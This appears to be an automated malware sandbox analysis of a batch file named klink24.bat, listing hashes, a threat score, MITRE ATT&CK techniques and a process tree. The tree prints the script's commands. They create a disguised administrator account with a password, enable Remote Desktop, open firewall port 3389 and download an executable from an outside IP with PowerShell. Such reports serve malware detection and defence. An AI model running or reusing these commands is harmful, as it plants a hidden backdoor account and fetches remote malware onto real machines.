d51b466d9bd852e4b463096b9a922fe9e06e75e1258d274b576103498e578c01

Analysis

max time kernel
156s
max time network
171s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
11-10-2023 20:31

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General

Target

klink24.bat
Size

1KB
MD5

81b71168a37befd2646587909efa050b
SHA1

965a0db15b5cf77ea3c285d4f49d41b92a3d364d
SHA256

d51b466d9bd852e4b463096b9a922fe9e06e75e1258d274b576103498e578c01
SHA512

55e5a056d70b6799600c28d084593cdbde2eab836b33024d458f00971f03a87a076b760ee6b21913523996d20b695bc7f024eb59e46c03aa253708e5fd62339b

Score

9^/10

evasion

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
33	3884	powershell.exe

Modifies Windows Firewall 1 TTPs 1 IoCs

evasion

Windows Service

T1543.003

pid	Process
4012	netsh.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3884	powershell.exe
3884	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3736	WMIC.exe
Token: SeSecurityPrivilege	3736	WMIC.exe
Token: SeTakeOwnershipPrivilege	3736	WMIC.exe
Token: SeLoadDriverPrivilege	3736	WMIC.exe
Token: SeSystemProfilePrivilege	3736	WMIC.exe
Token: SeSystemtimePrivilege	3736	WMIC.exe
Token: SeProfSingleProcessPrivilege	3736	WMIC.exe
Token: SeIncBasePriorityPrivilege	3736	WMIC.exe
Token: SeCreatePagefilePrivilege	3736	WMIC.exe
Token: SeBackupPrivilege	3736	WMIC.exe
Token: SeRestorePrivilege	3736	WMIC.exe
Token: SeShutdownPrivilege	3736	WMIC.exe
Token: SeDebugPrivilege	3736	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3736	WMIC.exe
Token: SeRemoteShutdownPrivilege	3736	WMIC.exe
Token: SeUndockPrivilege	3736	WMIC.exe
Token: SeManageVolumePrivilege	3736	WMIC.exe
Token: 33	3736	WMIC.exe
Token: 34	3736	WMIC.exe
Token: 35	3736	WMIC.exe
Token: 36	3736	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3736	WMIC.exe
Token: SeSecurityPrivilege	3736	WMIC.exe
Token: SeTakeOwnershipPrivilege	3736	WMIC.exe
Token: SeLoadDriverPrivilege	3736	WMIC.exe
Token: SeSystemProfilePrivilege	3736	WMIC.exe
Token: SeSystemtimePrivilege	3736	WMIC.exe
Token: SeProfSingleProcessPrivilege	3736	WMIC.exe
Token: SeIncBasePriorityPrivilege	3736	WMIC.exe
Token: SeCreatePagefilePrivilege	3736	WMIC.exe
Token: SeBackupPrivilege	3736	WMIC.exe
Token: SeRestorePrivilege	3736	WMIC.exe
Token: SeShutdownPrivilege	3736	WMIC.exe
Token: SeDebugPrivilege	3736	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3736	WMIC.exe
Token: SeRemoteShutdownPrivilege	3736	WMIC.exe
Token: SeUndockPrivilege	3736	WMIC.exe
Token: SeManageVolumePrivilege	3736	WMIC.exe
Token: 33	3736	WMIC.exe
Token: 34	3736	WMIC.exe
Token: 35	3736	WMIC.exe
Token: 36	3736	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3856	WMIC.exe
Token: SeSecurityPrivilege	3856	WMIC.exe
Token: SeTakeOwnershipPrivilege	3856	WMIC.exe
Token: SeLoadDriverPrivilege	3856	WMIC.exe
Token: SeSystemProfilePrivilege	3856	WMIC.exe
Token: SeSystemtimePrivilege	3856	WMIC.exe
Token: SeProfSingleProcessPrivilege	3856	WMIC.exe
Token: SeIncBasePriorityPrivilege	3856	WMIC.exe
Token: SeCreatePagefilePrivilege	3856	WMIC.exe
Token: SeBackupPrivilege	3856	WMIC.exe
Token: SeRestorePrivilege	3856	WMIC.exe
Token: SeShutdownPrivilege	3856	WMIC.exe
Token: SeDebugPrivilege	3856	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3856	WMIC.exe
Token: SeRemoteShutdownPrivilege	3856	WMIC.exe
Token: SeUndockPrivilege	3856	WMIC.exe
Token: SeManageVolumePrivilege	3856	WMIC.exe
Token: 33	3856	WMIC.exe
Token: 34	3856	WMIC.exe
Token: 35	3856	WMIC.exe
Token: 36	3856	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3856	WMIC.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 232 wrote to memory of 4984	232	cmd.exe	86
PID 232 wrote to memory of 4984	232	cmd.exe	86
PID 4984 wrote to memory of 3736	4984	cmd.exe	87
PID 4984 wrote to memory of 3736	4984	cmd.exe	87
PID 4984 wrote to memory of 2860	4984	cmd.exe	88
PID 4984 wrote to memory of 2860	4984	cmd.exe	88
PID 232 wrote to memory of 2208	232	cmd.exe	90
PID 232 wrote to memory of 2208	232	cmd.exe	90
PID 2208 wrote to memory of 3856	2208	cmd.exe	91
PID 2208 wrote to memory of 3856	2208	cmd.exe	91
PID 2208 wrote to memory of 4644	2208	cmd.exe	92
PID 2208 wrote to memory of 4644	2208	cmd.exe	92
PID 232 wrote to memory of 612	232	cmd.exe	93
PID 232 wrote to memory of 612	232	cmd.exe	93
PID 612 wrote to memory of 1500	612	net.exe	94
PID 612 wrote to memory of 1500	612	net.exe	94
PID 232 wrote to memory of 3296	232	cmd.exe	96
PID 232 wrote to memory of 3296	232	cmd.exe	96
PID 3296 wrote to memory of 1288	3296	net.exe	97
PID 3296 wrote to memory of 1288	3296	net.exe	97
PID 232 wrote to memory of 4072	232	cmd.exe	99
PID 232 wrote to memory of 4072	232	cmd.exe	99
PID 4072 wrote to memory of 3860	4072	net.exe	98
PID 4072 wrote to memory of 3860	4072	net.exe	98
PID 232 wrote to memory of 5016	232	cmd.exe	100
PID 232 wrote to memory of 5016	232	cmd.exe	100
PID 232 wrote to memory of 4012	232	cmd.exe	101
PID 232 wrote to memory of 4012	232	cmd.exe	101
PID 232 wrote to memory of 3884	232	cmd.exe	102
PID 232 wrote to memory of 3884	232	cmd.exe	102

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\klink24.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic Group Where "SID = 'S-1-5-32-544'" Get Name /Value | Find "="
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4984
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic Group Where "SID = 'S-1-5-32-544'" Get Name /Value
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3736
- - C:\Windows\system32\find.exe
    Find "="
    3⤵
    PID:2860
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic Group Where "SID = 'S-1-5-32-555'" Get Name /Value | Find "="
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2208
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic Group Where "SID = 'S-1-5-32-555'" Get Name /Value
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3856
- - C:\Windows\system32\find.exe
    Find "="
    3⤵
    PID:4644
- C:\Windows\system32\net.exe
  net user Defender-Update defen2!AW7W21 /add /expires:never
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:612
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user Defender-Update defen2!AW7W21 /add /expires:never
    3⤵
    PID:1500
- C:\Windows\system32\net.exe
  net localgroup Administrators Defender-Update /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3296
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators Defender-Update /ADD
    3⤵
    PID:1288
- C:\Windows\system32\net.exe
  net localgroup "Remote Desktop Users" Defender-Update /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4072
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  2⤵
  PID:5016
- C:\Windows\system32\netsh.exe
  netsh advfirewall firewall add rule name="allow RDP" dir=in protocol=TCP localport=3389 action=allow
  2⤵
  - Modifies Windows Firewall
  PID:4012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell iwr http://78.47.123.155:8233/klink.exe -OutFile c:\programdata\klink.exe
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  PID:3884

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 localgroup "Remote Desktop Users" Defender-Update /ADD
1⤵
PID:3860

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vuhq2o3i.gvm.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3884-9-0x000001E82CDD0000-0x000001E82CDF2000-memory.dmp

Filesize
136KB

Download
memory/3884-10-0x00007FFA1EAA0000-0x00007FFA1F561000-memory.dmp

Filesize
10.8MB

Download
memory/3884-11-0x000001E82CC60000-0x000001E82CC70000-memory.dmp

Filesize
64KB

Download
memory/3884-12-0x000001E82CC60000-0x000001E82CC70000-memory.dmp

Filesize
64KB

Download
memory/3884-13-0x000001E82CC60000-0x000001E82CC70000-memory.dmp

Filesize
64KB

Download
memory/3884-14-0x00007FFA1EAA0000-0x00007FFA1F561000-memory.dmp

Filesize
10.8MB

Download
memory/3884-15-0x000001E82CC60000-0x000001E82CC70000-memory.dmp

Filesize
64KB

Download
memory/3884-16-0x000001E82CC60000-0x000001E82CC70000-memory.dmp

Filesize
64KB

Download
memory/3884-17-0x000001E82CC60000-0x000001E82CC70000-memory.dmp

Filesize
64KB

Download
memory/3884-20-0x00007FFA1EAA0000-0x00007FFA1F561000-memory.dmp

Filesize
10.8MB

Download